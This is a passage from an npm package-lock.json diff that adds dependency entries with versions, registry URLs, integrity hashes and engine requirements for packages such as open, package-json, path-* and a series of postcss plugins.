"sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "devOptional": true, + "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/os-homedir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", + "integrity": "sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/package-json": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz", + "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==", + "dependencies": { + "got": "^9.6.0", + "registry-auth-token": "^4.0.0", + "registry-url": "^5.0.0", + "semver": "^6.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json/node_modules/@sindresorhus/is": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", + "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/package-json/node_modules/cacheable-request": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", + "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", + "dependencies": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^3.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^4.1.0", + "responselike": "^1.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json/node_modules/cacheable-request/node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json/node_modules/cacheable-request/node_modules/lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/package-json/node_modules/got": { + "version": "9.6.0", + "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", + "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", + "dependencies": { + "@sindresorhus/is": "^0.14.0", + "@szmarczak/http-timer": "^1.1.2", + "cacheable-request": "^6.0.0", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^4.1.0", + "lowercase-keys": "^1.0.1", + "mimic-response": "^1.0.1", + "p-cancelable": "^1.0.0", + "to-readable-stream": "^1.0.0", + "url-parse-lax": "^3.0.0" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/package-json/node_modules/http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + }, + "node_modules/package-json/node_modules/normalize-url": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz", + "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json/node_modules/p-cancelable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", + "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/package-json/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-entities": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", + "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", + "dependencies": { + "character-entities": "^1.0.0", + "character-entities-legacy": "^1.0.0", + "character-reference-invalid": "^1.0.0", + "is-alphanumerical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-hexadecimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-numeric-range": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz", + "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==" + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz", + "integrity": "sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==", + "dependencies": { + "domhandler": "^5.0.2", + "parse5": "^7.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-is-inside": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", + "integrity": "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==" + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss": { + "version": "8.4.28", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.28.tgz", + "integrity": "sha512-Z7V5j0cq8oEKyejIKfpD8b4eBy9cwW2JWPk0+fB1HOAMsfHbnAXLLS+PfVWlzMSLQaWttKDt607I0XHmpE67Vw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-unused": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-5.1.0.tgz", + "integrity": "sha512-KwLWymI9hbwXmJa0dkrzpRbSJEh0vVUd7r8t0yOGPcfKzyJJxFM8kLyC5Ev9avji6nY95pOp1W6HqIrfT+0VGw==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-loader": { + "version": "7.3.3", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-7.3.3.tgz", + "integrity": "sha512-YgO/yhtevGO/vJePCQmTxiaEwER94LABZN0ZMT4A0vsak9TpO+RvKRs7EmJ8peIlB9xfXCsS7M8LjqncsUZ5HA==", + "dependencies": { + "cosmiconfig": "^8.2.0", + "jiti": "^1.18.2", + "semver": "^7.3.8" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/cosmiconfig": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-8.2.0.tgz", + "integrity": "sha512-3rTMnFJA1tCOPwRxtgF4wd7Ab2qvDbL8jX+3smjIbS4HlZBagTlpERbdN7iAbWlrfxE3M8c27kTwTawQ7st+OQ==", + "dependencies": { + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + } + }, + "node_modules/postcss-merge-idents": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-5.1.1.tgz", + "integrity": "sha512-pCijL1TREiCoog5nQp7wUe+TUonA2tC2sQ54UGeMmryK3UFGIYKqDyjnqd6RcuI4znFn9hWSLNN8xKE/vWcUQw==", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": 